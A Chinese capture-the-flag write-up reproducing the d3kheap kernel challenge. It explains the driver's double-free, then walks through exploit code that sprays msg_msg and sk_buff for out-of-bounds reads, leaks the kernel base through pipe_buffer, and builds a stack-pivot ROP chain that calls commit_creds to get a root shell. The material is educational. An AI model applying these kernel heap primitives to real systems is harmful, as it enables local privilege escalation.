0%

msg_msg-sk_buff的组合利用+pipe_buffer attack

d3kheap 复现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
➜  rootfs cat init                
#!/bin/sh
chown -R 0:0 /
mount -t tmpfs tmpfs /tmp
mount -t proc none /proc
mount -t sysfs none /sys
mount -t devtmpfs devtmpfs /dev

echo 1 > /proc/sys/kernel/dmesg_restrict # 限制dmesg
echo 1 > /proc/sys/kernel/kptr_restrict # 普通用户都无法读取内核符号地址

chown 0:0 /flag
chmod 400 /flag
chmod 777 /tmp

insmod d3kheap.ko # 加载驱动
chmod 777 /dev/d3kheap

cat /root/banner
echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n"
setsid cttyhack setuidgid 1000 sh
poweroff -d 0 -f
1
2
3
4
5
6
7
8
9
10
11
12
13
➜  d3kheap cat run.sh 
#!/bin/sh
qemu-system-x86_64 \
-m 256M \
-cpu kvm64,+smep,+smap \
-smp cores=2,threads=2 \
-kernel bzImage \
-initrd ./rootfs.cpio \
-nographic \
-monitor /dev/null \
-snapshot \
-append "console=ttyS0 kaslr pti=on quiet oops=panic panic=1" \
-no-reboot
  • 开了 kaslr
  • 用了2个核心,2个线程(限制线程数量,可能有条件竞争)

命令定义:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
void __fastcall d3kheap_ioctl(__int64 fd, __int64 command)
{
__int64 caches; // rax

_fentry__(fd, command);
raw_spin_lock(&spin); // 自旋锁
if ( (_DWORD)command != 0xDEAD )
{
if ( (unsigned int)command > 0xDEAD )
goto LABEL_13;
if ( (_DWORD)command == 0x1234 ) // 0x1234
{
if ( buf )
{
printk(&unk_480);
}
else
{
caches = kmem_cache_alloc_trace(kmalloc_caches[10], 0xCC0LL, 0x400LL);
++ref_count;
buf = caches;
printk(&unk_37A);
}
goto LABEL_5;
}
if ( (unsigned int)command > 0x1233 && ((_DWORD)command == 0x4321 || (_DWORD)command == 0xBEEF) )
printk(&unk_3F0);
else
LABEL_13:
printk(&unk_4F8);
LABEL_5:
pv_ops[79](&spin);
return;
}
if ( !buf ) // 0xDEAD
{
printk(&unk_4A8);
goto LABEL_5;
}
if ( ref_count )
{
--ref_count;
kfree(); // UAF
printk(&unk_394);
goto LABEL_5;
}
d3kheap_ioctl_cold();
}
  • 定义了两个命令 add(0x1234) 和 free(0xDEAD)
  • add 只能申请 0x400 大小的空间(从逻辑上来讲只能执行一次)
  • free 会根据 ref_count 判断是否执行 kfree(),但是 ref_count 被初始化为“1”
  • 并且有一个自旋锁

漏洞分析:

1
2
3
4
5
6
7
if ( ref_count )
{
--ref_count;
kfree(); // UAF
printk(&unk_394);
goto LABEL_5;
}
1
.data:0000000000000C00 01 00 00 00                   ref_count dd 1 
  • 本程序有 UAF,并且 ref_count 被设置为“1”
  • 第一次执行 add 时,ref_count 会变为“2”,也就是说可以 free 两次

入侵思路:

我的第一反应是 glibc pwn 中的 Double free,slub 中的检查和 fastbin 中的相同(会检查 freelist 指向的第一个 object),绕不过去

kernel pwn 中的很多利用都要依靠 结构体,比如:tty_struct->tty_operations 中的虚表,subprocess_infocleanup 指针,但在此之前,必须先绕过 kaslr(泄露内核基地址)

大佬使用了 CVE-2021-22555 的堆喷 msg_msgsk_buff 的解法,在学习这个方法之前需要一些前置知识:


msg_msg

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
struct msg_msg {
struct list_head m_list;
long m_type;
size_t m_ts; /* message text size */
struct msg_msgseg *next;
void *security; /* the actual message follows immediately */
};

struct msg_queue {
struct kern_ipc_perm q_perm;
time64_t q_stime; /* last msgsnd time */
time64_t q_rtime; /* last msgrcv time */
time64_t q_ctime; /* last change time */
unsigned long q_cbytes; /* current number of bytes on queue */
unsigned long q_qnum; /* number of messages in queue */
unsigned long q_qbytes; /* max number of bytes on queue */
struct pid *q_lspid; /* pid of last msgsnd */
struct pid *q_lrpid; /* last receive pid */

struct list_head q_messages;
struct list_head q_receivers;
struct list_head q_senders;
} __randomize_layout;

当我们在一个消息队列上发送多个消息时,会形成如下结构:(msg 双向链表)

1656410685806

  • 消息队列,Unix 的通信机制之一,可以理解为是一个存放消息(数据)容器
  • 将消息写入消息队列,然后再从消息队列中取消息,一般来说是先进先出 FIFO 的顺序

虽然 msg_queue 的大小基本上是固定的,但是 msg_msg 作为承载消息的本体 其大小是可以随着消息大小的改变而进行变动的

  • 去除掉 msg_msg 结构体本身的 0x30 字节的部分(或许可以称之为 header)剩余的部分都用来存放用户数据
  • 因此内核分配的 object 的大小是跟随着我们发送的 message 的大小进行变动的

而当我们单次发送大于 [一个页面大小 - header size] 大小的消息时,内核会额外补充添加 msg_msgseg 结构体(只有一个 next 指针),其与 msg_msg 之间形成如下单向链表结构:

1656567331153

  • 同样地,单个 msg_msgseg 的大小最大为一个页面大小,因此超出这个范围的消息内核会额外补充上更多的 msg_msgseg 结构体
  • 在读取 msg_msg 中的数据时,如果 msg_msg->next 不为空,程序就会把 msg_msg->next 指向的内容也当做是 msg_msg data 的一部分,如果 msg_msgseg->next 还不为空,就会继续读取 msg_msgseg->next 指向的内容

利用:

  • 在拷贝数据时对长度的判断主要依靠的是 msg_msg->m_ts,若是我们能够控制一个 msg_msg 的 header,将其 msg_msg->m_ts 成员改为一个较大的数,我们就能够越界读取出最多将近一张内存页大小的数据
  • 若是我们能够同时劫持 msg_msg->m_tsmsg_msg->next,我们便能够完成内核空间中的任意地址读(msg_msg->next 指向的数据也会被当做 msg_msg data
    • 但这个方法有一个缺陷,无论是 MSG_COPY 还是常规的接收消息,其拷贝消息的过程的判断主要依据还是单向链表的 next 指针,因此若我们需要完成对特定地址向后的一块区域的读取,我们需要保证该地址的数据为 NULL

相关接口:

1
2
3
4
5
6
7
8
9
10
11
// 创建和获取ipc内核对象
int msgget(key_t key, int flags);

// 将消息发送到消息队列
int msgsnd(int msqid, const void *msgp, size_t msgsz, int msgflg);

// 从消息队列获取消息
ssize_t msgrcv(int msqid, void *msgp, size_t msgsz, long msgtyp, int msgflg);

// 查看、设置、删除ipc内核对象(用法和shmctl一样)
int msgctl(int msqid, int cmd, struct msqid_ds *buf);
  • msqid:消息队列的标识符,代表要从哪个消息列中获取消息
  • msgp: 存放消息结构体的地址(需要自己定义:long type+char data[n]
  • msgsz:消息正文的字节数
  • msgtyp:消息的类型,可以有以下几种类型:
    • msgtyp = 0:返回队列中的第一个消息
    • msgtyp > 0:返回队列中消息类型为 msgtyp 的消息(常用)
    • msgtyp < 0:返回队列中消息类型值小于或等于 msgtyp 绝对值的消息,如果这种消息有若干个,则取类型值最小的消息
  • msgflg:函数的控制属性,其取值如下:
    • 0:msgrcv() 调用阻塞直到接收消息成功为止
    • MSG_NOERROR:若返回的消息字节数比 nbytes 字节数多,则消息就会截短到 nbytes 字节,且不通知消息发送进程
    • MSG_COPY:读取但不释放,当我们在调用 msgrcv 接收消息时,相应的 msg_msg 链表便会被释放,当我们在调用 msgrcv 时若设置了 MSG_COPY 标志位,则内核会将 message 拷贝一份后再拷贝到用户空间,原双向链表中的 message 并不会被 unlink
    • IPC_NOWAIT:调用进程会立即返回,若没有收到消息则立即返回 -1

案例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <unistd.h>
#include <sys/wait.h>

typedef struct
{
long type;
char data[128];
}MSG_T;

int main(){
key_t key;
int msgid;
pid_t pid;
MSG_T s_msg, r_msg;

key=ftok(".",66); // key_t ftok(const char *pathname, int proj_id) 获取键值key
printf("ftok success key:0x%x\n", key);

msgid = msgget(key,0666 | IPC_CREAT); // 创建和获取ipc内核对象
printf("msgget success msgid:%d\n", msgid);

system("ipcs -q"); // 通过shell指令"ipcs -q"可以查看消息队列的信息

pid = fork();
if(pid < 0){
printf("fork error\n");
exit(EXIT_FAILURE);
}

if(pid > 0){ /* 父进程,发送消息 */
s_msg.type = 0x41;
memset(s_msg.data, 0, sizeof(s_msg.data));
strncpy(s_msg.data, "yhellow_chunk", 0x20);
msgsnd(msgid, &s_msg, strlen(s_msg.data), 0); // 将消息发送到消息队列
wait(NULL); // 停止目前进程的执行,直到有信号来到或子进程结束
msgctl(msgid, IPC_RMID, NULL); // 删除ipc内核对象
system("ipcs -q");
exit(EXIT_SUCCESS);
}

if (pid == 0) { /* 子进程,接收消息 */
msgrcv(msgid, &r_msg, sizeof(r_msg.data), 0x41, IPC_NOWAIT); // 从消息队列取出消息后,并将其从消息队列里删除
printf("recv msg data type: %ld, data: %s\n", r_msg.type, r_msg.data);
exit(EXIT_SUCCESS);
}
}
1
2
3
4
5
6
7
8
9
10
11
12
exp ./test               
ftok success key:0x4205274f
msgget success msgid:15

--------- 消息队列 -----------
键 msqid 拥有者 权限 已用字节数 消息
0x4205274f 15 yhellow 666 0 0

recv msg data type: 65, data: yhellow_chunk

--------- 消息队列 -----------
键 msqid 拥有者 权限 已用字节数 消息

参考:Linux内核消息队列详解

socketpair

1
int socketpair(int d, int type, int protocol, int sv[2])
  • socketpair() 函数用于创建一对无名的、相互连接的套接子(有点类似于管道)
  • 如果函数成功,则返回 “0”,创建好的套接字分别是 sv[0] 和 sv[1]
  • 否则返回 “-1”,错误码保存于 errno 中

基本用法:

  • 这对套接字可以用于全双工通信,每一个套接字既可以读也可以写(例如,可以往 sv[0] 中写,从 sv[1] 中读,或者从 sv[1] 中写,从 sv[0] 中读)
  • 如果往一个套接字(sv[0])中写入后,再从该套接字读时会阻塞,只能在另一个套接字中(sv[1])上读成功
  • 读、写操作可以位于同一个进程,也可以分别位于不同的进程,如父子进程,如果是父子进程时,一般会功能分离,一个进程用来读,一个用来写(因为文件描述副 sv[0] 和 sv[1] 是进程共享的,所以读的进程要关闭写描述符,反之,写的进程关闭读描述符)

案例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
#include <stdio.h> 
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <error.h>
#include <errno.h>
#include <sys/socket.h>
#include <stdlib.h>
#include <malloc.h>

int main(int argc, char* argv[]){
char buf[128] = {0};
int socket_pair[2][2];
pid_t pid;
int size;
int i;

setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
char* str = malloc(0X20);
memset(str, 'a', 0X20);

for(i=0;i<2;i++){
if(socketpair(AF_UNIX, SOCK_STREAM, 0, socket_pair[i]) == -1 ) {
printf("Error, socketpair create failed, errno(%d): %s\n", errno, strerror(errno));
return EXIT_FAILURE;
}
}

size = write(socket_pair[0][0], str, strlen(str)); /* 写入socket_pair[0][0] */
size = write(socket_pair[1][0], str, strlen(str)); /* 写入socket_pair[1][0] */

read(socket_pair[0][1], buf, size); /* 从socket_pair[0][1]中读入buf */
printf("buf result1: %s\n",buf);

memset(str, 'b', 0X20); /* 更改原来str中的数据 */
read(socket_pair[1][1], buf, size); /* 从socket_pair[1][1]中读入buf */
printf("buf result2: %s\n",buf);

return EXIT_SUCCESS;
}
1
2
3
exp ./test
buf result1: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
buf result2: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
  • 可以发现原 str 改变以后,buf 并没有改变,也就是说 socketpair 底层的存储方式不是指针,数据传入 socket_pair[0-1][1] 时就被复制了一份
  • 那么 socket_pair[0-1][1] 中的数据是储存到哪里的呢?
1
2
3
4
5
pwndbg> search -s aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
[stack] 0x7fffffffb73d 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\n'
[stack] 0x7fffffffde00 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'
pwndbg> search -s bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb
[heap] 0x4052a0 'bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb'
  • heap 上没有,那就极有可能在 kernel heap 中

参考:socketpair的用法和理解

sk_buff

结构体 sk_buff 的源码很长,但这里我们只需要注意以下片段:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
struct sk_buff {
union {
struct {
/* These two members must be first. */
struct sk_buff *next;
struct sk_buff *prev;
......
};
......
sk_buff_data_t tail; /* 指向数据区中实际数据结束的位置 */
sk_buff_data_t end; /* 指向数据区中结束的位置(非实际数据区域结束位置)*/

unsigned char *head, /* 指向数据区中开始的位置(非实际数据区域开始位置)*/
unsigned char *data; /* 指向数据区中实际数据开始的位置 */
unsigned int truesize;
refcount_t users;

#ifdef CONFIG_SKB_EXTENSIONS
struct skb_ext *extensions;
#endif
};
  • sk_buff(socket buffer)结构是 linux 网络代码中重要的数据结构,它管理和控制接收或发送数据包的信息
  • 类似于 msg_msg,其同样可以提供近乎任意大小对象的分配写入与释放,但不同的是:
    • msg_msg 由一个 header 加上用户数据组成
    • sk_buff 本身不包含任何用户数据,用户数据单独存放在一个 object 当中,而 sk_buff 中存放指向用户数据的指针

1656479312235

  • sk_buff 在内核网络协议栈中代表一个「包」,我们只需要创建一对 socke,在上面发送与接收数据包就能完成 sk_buff 的分配与释放
  • 最简单的办法便是用 socketpair 系统调用创建一对 socket,之后对其 read & write 便能完成收发包的工作

pipe_buffer

1
2
3
4
5
6
7
8
9
10
11
12
13
14
struct pipe_buffer {
struct page *page;
unsigned int offset, len;
const struct pipe_buf_operations *ops;
unsigned int flags;
unsigned long private;
};

struct pipe_buf_operations {
int (*confirm)(struct pipe_inode_info *, struct pipe_buffer *);
void (*release)(struct pipe_inode_info *, struct pipe_buffer *);
bool (*try_steal)(struct pipe_inode_info *, struct pipe_buffer *);
bool (*get)(struct pipe_inode_info *, struct pipe_buffer *);
};
  • 当我们创建一个管道时,在内核中会生成数个连续的 pipe_buffer 结构体,申请的内存总大小刚好会让内核从 kmalloc-1k 中取出一个 object
  • pipe_buffer 中存在一个函数表成员 pipe_buf_operations ,其指向内核中的函数表 anon_pipe_buf_ops,若我们能够将其读出,便能泄露出内核基址

PS:因为本人太菜,所以第一遍只能跟着大佬的 exp 做阅读理解……

Step.I 堆喷 msg_msg,建立主从消息队列

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
for (int i = 0; i < MSG_QUEUE_NUM; i++)
{
if ((msqid[i] = msgget(IPC_PRIVATE, 0666 | IPC_CREAT)) < 0)
errExit("failed to create msg_queue!");
}

puts("[*] Spray primary and secondary msg_msg...");

memset(&primary_msg, 0, sizeof(primary_msg));
memset(&secondary_msg, 0, sizeof(secondary_msg));

add();

for (int i = 0; i < MSG_QUEUE_NUM; i++)
{
*(int *)&primary_msg.mtext[0] = MSG_TAG; /* MSG_TAG是一个标志位,后续会用到 */
*(int *)&primary_msg.mtext[4] = i;
if (writeMsg(msqid[i], &primary_msg, sizeof(primary_msg), PRIMARY_MSG_TYPE) < 0)
errExit("failed to send primary msg!");

*(int *)&secondary_msg.mtext[0] = MSG_TAG;
*(int *)&secondary_msg.mtext[4] = i;
if (writeMsg(msqid[i], &secondary_msg, sizeof(secondary_msg), SECONDARY_MSG_TYPE) < 0)
errExit("failed to send secondary msg!");

if (i == 1024) /* 后续申请secondary_msg时,有极大概率占用这个object */
del();
}

堆喷多个消息队列,并分别在每一个消息队列上发送两条消息,形成如下内存布局:

1656499343488

  • 第一条消息(主消息)的大小为 96
  • 第二条消息(辅助消息)的大小为 0x400
  • 此时我们的辅助消息便有极大的概率获取到之前释放的 object

Step.II 构造 UAF,堆喷 sk_buff 定位 victim 队列

虽然辅助消息有极大的概率获取到之前释放的 object,但是我们并不知道是哪一个辅助消息获取了 object(一共有 4096 个辅助消息)

可以通过堆喷 sk_buff 定位 victim 队列,而 sk_buff 的分配与释放则靠 socketpair 完成

1
2
3
4
5
6
7
8
9
10
11
12
13
14
int spraySkBuff(int sk_socket[SOCKET_NUM][2], void *buf, size_t size)
{
for (int i = 0; i < SOCKET_NUM; i++)
for (int j = 0; j < SK_BUFF_NUM; j++)
{
if (write(sk_socket[i][0], buf, size) < 0)
/* 利用socketpair完成sk_buff的分配,同时写入fake_secondary_msg */
return -1;
}
return 0;
}

/* skb_shared_info需要在尾部取320字节,所以我们应该发送的buf的最大大小是1024-320=704 */
char fake_secondary_msg[704];
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
    del(); /* 释放这个object,然后就会被socketpair申请的kernel heap占用 */

for (int i = 0; i < SOCKET_NUM; i++)
if (socketpair(AF_UNIX, SOCK_STREAM, 0, sk_sockets[i]) < 0)
errExit("failed to create socket pair!");

buildMsg((struct msg_msg *)fake_secondary_msg, *(uint64_t*)"yhellow", *(uint64_t*)"yhellow", VICTIM_MSG_TYPE, SECONDARY_MSG_SIZE, 0, 0);
/* 获取了object的辅助消息:msg_msg->m_ts从'0x400-0x30'被改为'0x400' */
if (spraySkBuff(sk_sockets, fake_secondary_msg, sizeof(fake_secondary_msg)) < 0)
/* sk_buff分配完毕,获取了object的辅助消息被修改为fake_secondary_msg */
errExit("failed to spray sk_buff!");

victim_qid = -1;
for (int i = 0; i < MSG_QUEUE_NUM; i++)
{
if (peekMsg(msqid[i], &secondary_msg, sizeof(secondary_msg), 1) < 0)
{
/* 因为获取了object的辅助消息被修改,所以使用MSG_COPY flag进行消息拷贝时便会失败,利用这个特性就可以确定该辅助消息的位置 */
printf("[+] victim qid: %d\n", i);
victim_qid = i;
}
}
if (victim_qid == -1)
errExit("failed to make the UAF in msg queue!");

if (freeSkBuff(sk_sockets, fake_secondary_msg, sizeof(fake_secondary_msg)) < 0)
/* 把所有的sk_buff释放掉,之后可以再次申请命中UAF的消息队列 */
errExit("failed to release sk_buff!");
  • 因为 socketpair 使用的也是 kernel heap 的空间,所以前面释放的 object 可能被 sk_buff 分配的空间占用(此时 object 仍然在被 secondary_msg 使用)
  • 获取了 object 的辅助消息被修改为 fake_secondary_msg 后,所以使用 MSG_COPY flag 进行消息拷贝时便会失败
  • 因此我们可以通过判断是否读取消息失败,来定位命中 UAF 的消息队列

Step.III 堆喷 sk_buff 伪造辅助消息,泄露 UAF obj 地址

用同样的方法,将辅助消息被修改为 fake_secondary_msg,使 msg_msg->m_ts 变为一个较大值,从而越界读取到相邻辅助消息的 header(msg_msg),泄露出堆上地址

为了捕获正确的 msg_msg,前面设置的 MSG_TAG 标志位就有作用了

1656586953394

1656410685806

  • 由于 slub 算法的特性,kmalloc-1k 会被分配到相邻的内存空间,kmalloc-96 会被分配到相邻的内存空间,两者互不干扰
  • msg_queue,primary,secondary 通过 primary_msg->m_listsecondary_msg->m_list 相关联
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
    buildMsg((struct msg_msg *)fake_secondary_msg, *(uint64_t*)"yhellow", *(uint64_t*)"yhellow", VICTIM_MSG_TYPE, 0x1000 - sizeof(struct msg_msg), 0, 0);
/* 伪造msg_msg->m_ts为"0x1000-sizeof(struct msg_msg)" */

if (spraySkBuff(sk_sockets, fake_secondary_msg, sizeof(fake_secondary_msg)) < 0)
errExit("failed to spray sk_buff!");
/* 注入fake_secondary_msg */
if (peekMsg(msqid[victim_qid], &oob_msg, sizeof(oob_msg), 1) < 0)
errExit("failed to read victim msg!");
/* 越界读取到相邻辅助消息的header,泄露对应主消息的地址 */
if (*(int *)&oob_msg.mtext[SECONDARY_MSG_SIZE] != MSG_TAG)
errExit("failed to rehit the UAF object!");
/* 利用MSG_TAG进行验证 */

nearby_msg = (struct msg_msg*)&oob_msg.mtext[(SECONDARY_MSG_SIZE) - sizeof(struct msg_msg)];
/* nearby_msg只是指向栈上某片区域的指针 */
  • 越界读取到相邻辅助消息的 header,泄露对应主消息的地址
  • 注意:同样是修改 msg_msg,上一个 peekMsg 就报错了,这里的 peekMsg 没有报错,目前不知道原因
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
    if (freeSkBuff(sk_sockets, fake_secondary_msg, sizeof(fake_secondary_msg)) < 0)
errExit("failed to release sk_buff!");

buildMsg((struct msg_msg *)fake_secondary_msg, *(uint64_t*)"yhellow", *(uint64_t*)"yhellow", VICTIM_MSG_TYPE, sizeof(oob_msg.mtext), nearby_msg->m_list.prev - 8, 0);
/* 伪造msg_msg->next为nearby_msg->m_list.prev-8(对应primary->header) */
if (spraySkBuff(sk_sockets, fake_secondary_msg, sizeof(fake_secondary_msg)) < 0)
errExit("failed to spray sk_buff!");

if (peekMsg(msqid[victim_qid], &oob_msg, sizeof(oob_msg), 1) < 0)
errExit("failed to read victim msg!");

if (*(int *)&oob_msg.mtext[0x1000] != MSG_TAG)
/* 因为msg_msg->m_ts是一个很大的数,所以会启用msg_msgseg
由于我们伪造了msg_msg->next,所以msg.mtext的前"0x1000-0x30"字节都没有用
接下来的0x30字节就是primary->header */
errExit("failed to rehit the UAF object!");

nearby_msg_prim = (struct msg_msg*) &oob_msg.mtext[0x1000 - sizeof(struct msg_msg)];
victim_addr = nearby_msg_prim->m_list.next - 0x400;
/* 泄露了primary中的数据,获取对应secondary->head */
  • msg_msg data 的 0x1000-0x30 空间使用完毕后,程序就会根据 msg_msg->next 来确定 msg_msgseg data 的位置
  • msg_msg->next 修改为 primary->header,就可以读取并泄露 primary->m_list.next ,也就是 secondary->header
  • 最后减去 0x400 就得到 victim_addr 了

Step.IV 堆喷 pipe_buffer,泄露内核基址

第二条消息(辅助消息)的大小为 0x400,刚好可以申请 pipe_buffer,它既能帮我们泄露内核代码段基址,也能帮我们劫持 RIP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
    if (freeSkBuff(sk_sockets, fake_secondary_msg, sizeof(fake_secondary_msg)) < 0)
errExit("failed to release sk_buff!");

memset(fake_secondary_msg, 0, sizeof(fake_secondary_msg));
buildMsg((struct msg_msg *)fake_secondary_msg, victim_addr, victim_addr, VICTIM_MSG_TYPE, SECONDARY_MSG_SIZE - sizeof(struct msg_msg), 0, 0);
/* 这里的victim_addr,SECONDARY_MSG_SIZE-sizeof(struct msg_msg),都是为了后面的readMsg可以成功 */
if (spraySkBuff(sk_sockets, fake_secondary_msg, sizeof(fake_secondary_msg)) < 0)
errExit("failed to spray sk_buff!");

if (readMsg(msqid[victim_qid], &secondary_msg, sizeof(secondary_msg), VICTIM_MSG_TYPE) < 0)
/* 没有设置MSG_COPY,读取后便会从信息队列中释放secondary_msg
释放时会进行某些检查,而buildMsg的操作就是为了通过这些检查 */
errExit("failed to receive secondary msg!");

for (int i = 0; i < PIPE_NUM; i++)
{
if (pipe(pipe_fd[i]) < 0)
errExit("failed to create pipe!");
if (write(pipe_fd[i][1], "yhellow", 8) < 0)
errExit("failed to write the pipe!");
/* 由于命中UAF的secondary_msg被释放,接下来的pipe_buffer也可能申请到这片区域 */
}

pipe_buf_ptr = (struct pipe_buffer *) &fake_secondary_msg; /* pipe_buf_ptr就是指向fake_secondary_msg的指针 */
for (int i = 0; i < SOCKET_NUM; i++)
{
for (int j = 0; j < SK_BUFF_NUM; j++)
{
if (read(sk_sockets[i][1], &fake_secondary_msg,
sizeof(fake_secondary_msg)) < 0)
/* 由于pipe_buffer和sk_buff分配的区域在同一位置,所以pipe_buffer中的数据会被读取到fake_secondary_msg中 */
errExit("failed to release sk_buff!");

if (pipe_buf_ptr->ops > 0xffffffff81000000)
{
printf("\033[32m\033[1m[+] got anon_pipe_buf_ops: \033[0m%llx\n", pipe_buf_ptr->ops);
kernel_offset = pipe_buf_ptr->ops - ANON_PIPE_BUF_OPS;
kernel_base = 0xffffffff81000000 + kernel_offset;
}
}
}
  • readMsg 没有设置 MSG_COPY,读取后便会从信息队列中释放 secondary,但是 sk_buff 中的指针并没有置空,也就是说,pipe_buffer 和 sk_buff 分配的区域在同一位置
  • 所以接下来的 read sk_sockets 会把 pipe_buffer 读到 fake_secondary_msg 中
  • 最后通过 pipe_buffer->ops 获取内核偏移地址

Step.V 伪造 pipe_buffer,构造 ROP,劫持 RIP,完成提权

当我们关闭了管道的两端时,会触发 pipe_buffer->pipe_buf_operations->release 这一指针

而 UAF object 的地址对我们而言是已知的,因此我们可以直接利用 sk_buff 在 UAF object 上伪造函数表与构造 ROP chain,再选一条足够合适的 gadget 完成栈迁移便能劫持 RIP 完成提权

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
pipe_buf_ptr = (struct pipe_buffer *) fake_secondary_msg;
pipe_buf_ptr->page = *(uint64_t*) "yhellow";
pipe_buf_ptr->ops = victim_addr + 0x100;

ops_ptr = (struct pipe_buf_operations *) &fake_secondary_msg[0x100]; /* 伪造的pipe_buf_operations */
ops_ptr->release = PUSH_RSI_POP_RSP_POP_4VAL_RET + kernel_offset; /* 伪造的pipe_buf_operations->release */

rop_idx = 0;
rop_chain = (uint64_t*) &fake_secondary_msg[0x20];
rop_chain[rop_idx++] = kernel_offset + POP_RDI_RET;
rop_chain[rop_idx++] = kernel_offset + INIT_CRED;
rop_chain[rop_idx++] = kernel_offset + COMMIT_CREDS;
rop_chain[rop_idx++] = kernel_offset + SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE + 22;
rop_chain[rop_idx++] = *(uint64_t*) "yhellow";
rop_chain[rop_idx++] = *(uint64_t*) "yhellow";
rop_chain[rop_idx++] = getRootShell;
rop_chain[rop_idx++] = user_cs;
rop_chain[rop_idx++] = user_rflags;
rop_chain[rop_idx++] = user_sp;
rop_chain[rop_idx++] = user_ss;

if (spraySkBuff(sk_sockets, fake_secondary_msg, sizeof(fake_secondary_msg)) < 0)
errExit("failed to spray sk_buff!");

printf("[*] gadget: %p\n", kernel_offset + PUSH_RSI_POP_RSP_POP_4VAL_RET);
printf("[*] free_pipe_info: %p\n", kernel_offset + FREE_PIPE_INFO);
sleep(5);

for (int i = 0; i < PIPE_NUM; i++)
{
close(pipe_fd[i][0]);
close(pipe_fd[i][1]);
}
  • 标准的 ret2usr,利用 commit_creds(prepare_kernel_cred(0)) 进行提取
  • 在 gadget 上打断点,进行调试:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
──────────────────────────────────────────────────────────────────────────────────
*RAX 0xffffffff8e0dbede ◂— push rsi
*RBX 0x0
RCX 0x0
*RDX 0x0
*RDI 0xffff9799c285cd80 ◂— 0
*RSI 0xffff9799c2864800 ◂— jns 0xffff9799c286486a /* 0x776f6c6c656879; 'yhellow' */
R8 0x0
*R9 0xffff9799c22feee0 ◂— adc byte ptr [rcx], 4 /* 0x3e800041180 */
R10 0x8
*R11 0xffff9799c32d8c10 —▸ 0xffff9799c1a49ba0 —▸ 0xffff9799c21c6e40 ◂— add byte ptr [rax], al /* 0x200300000 */
*R12 0xffff9799c285cd80 ◂— 0
*R13 0xffff9799c22fef68 ◂— add byte ptr [rax], al /* 0xc000000000000 */
R14 0xffff9799c1a49ba0 —▸ 0xffff9799c21c6e40 ◂— add byte ptr [rax], al /* 0x200300000 */
*R15 0xffff9799c2308f00 ◂— add byte ptr [rax], al /* 0x240500000 */
*RBP 0xffffa3aa004e3de0 —▸ 0xffffa3aa004e3e08 —▸ 0xffffa3aa004e3e30 —▸ 0xffffa3aa004e3e68 —▸ 0xffffa3aa004e3e78 ◂— ...
*RSP 0xffffa3aa004e3dc8 —▸ 0xffffffff8e1275fb ◂— add ebx, 1
*RIP 0xffffffff8e0dbede ◂— push rsi
──────────────────────────────────────────────────────────────────────────────────
0xffffffff8e0dbede push rsi
0xffffffff8e0dbedf pop rsp
0xffffffff8e0dbee0 test edx, edx
0xffffffff8e0dbee2 jle 0xffffffff8e0dbf88 <0xffffffff8e0dbf88>

0xffffffff8e0dbf88 ud2
0xffffffff8e0dbf8a mov eax, 0xffffffea
0xffffffff8e0dbf8f jmp 0xffffffff8e0dbf2c <0xffffffff8e0dbf2c>

0xffffffff8e0dbf2c pop rbx
0xffffffff8e0dbf2d pop r12
0xffffffff8e0dbf2f pop r13
0xffffffff8e0dbf31 pop rbp
──────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0xffffa3aa004e3dc8 —▸ 0xffffffff8e1275fb ◂— add ebx, 1
01:00080xffffa3aa004e3dd0 —▸ 0xffff9799c22feee0 ◂— adc byte ptr [rcx], 4 /* 0x3e800041180 */
02:00100xffffa3aa004e3dd8 —▸ 0xffff9799c285cd80 ◂— 0
03:0018│ rbp 0xffffa3aa004e3de0 —▸ 0xffffa3aa004e3e08 —▸ 0xffffa3aa004e3e30 —▸ 0xffffa3aa004e3e68 —▸ 0xffffa3aa004e3e78 ◂— ...
04:00200xffffa3aa004e3de8 —▸ 0xffffffff8e12769c ◂— pop rbx
05:00280xffffa3aa004e3df0 —▸ 0xffff9799c32d8c00 ◂— 0
06:00300xffffa3aa004e3df8 —▸ 0xffff9799c285cd80 ◂— 0
07:00380xffffa3aa004e3e00 —▸ 0xffff9799c22feee0 ◂— adc byte ptr [rcx], 4 /* 0x3e800041180 */
  • 寄存器 RSI 中就是我们布置的 ROP 链
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
